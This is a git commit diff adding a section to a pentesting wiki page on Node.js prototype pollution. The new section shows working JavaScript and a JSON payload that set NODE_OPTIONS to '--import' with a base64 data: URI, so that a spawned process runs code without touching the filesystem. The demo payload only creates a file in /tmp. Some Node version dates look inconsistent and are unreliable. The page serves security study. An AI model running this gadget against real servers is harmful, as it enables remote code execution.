Merge pull request #1233 from HackTricks-wiki/research_update_src_pentesting-web_deserialization_nodejs-proto-prototype-pollution_prototype-pollution-to-rce_20250803_082503

Research Update Enhanced src/pentesting-web/deserialization/...
This commit is contained in:
SirBroccoli 2025-08-04 16:04:19 +02:00 committed by GitHub
commit 5853a15bd9

View File

@ -159,6 +159,51 @@ var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
> [!NOTE]
> Since **Node.js 19** the CLI flag `--import` can be passed through `NODE_OPTIONS` in the same way `--require` can. In contrast to `--require`, `--import` understands **data-URIs** so the attacker does **not need write access to the file-system** at all. This makes the gadget far more reliable in locked-down or read-only environments.
>
> This technique was first publicly documented by PortSwigger research in May 2023 and has since been reproduced in several CTF challenges.
The attack is conceptually identical to the `--require /proc/self/*` tricks shown above, but instead of pointing to a file we embed the payload directly in a base64-encoded `data:` URL:
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
Abusing the vulnerable merge/clone sink shown at the top of the page:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### Why `--import` helps
1. **No disk interaction** the payload travels entirely inside the process command line and environment.
2. **Works with ESM-only environments** `--import` is the canonical way to preload JavaScript in modern Node releases that default to ECMAScript Modules.
3. **Bypasses some `--require` allow-lists** a few hardening libraries only filter `--require`, leaving `--import` untouched.
> [!WARNING]
> `--import` support in `NODE_OPTIONS` is still present in the latest **Node 22.2.0** (June 2025). The Node core team is discussing restricting data-URIs in the future, but no mitigation is available at the time of writing.
---
## DNS Interaction
Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction:
@ -716,6 +761,11 @@ At least from v18.4.0 this protection has been **implemented,** and therefore th
In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) the **prototype pollution** of **`contextExtensions`** from the vm library was **also kind of fixed** setting options to **`kEmptyObject`** instead of **`{}`.**
> [!INFO]
> **Node 20 (April 2023) & Node 22 (April 2025)** shipped further hardening: several `child_process` helpers now copy user-supplied `options` with **`CopyOptions()`** instead of using them by reference. This blocks pollution of nested objects such as `stdio`, but **does not protect against the `NODE_OPTIONS` / `--import` tricks** described above those flags are still accepted via environment variables.
> A full fix would have to restrict which CLI flags can be propagated from the parent process, which is being tracked in Node Issue #50559.
### **Other Gadgets**
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
@ -726,6 +776,8 @@ In [**this commit**](https://github.com/nodejs/node/commit/0313102aaabb49f78156c
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}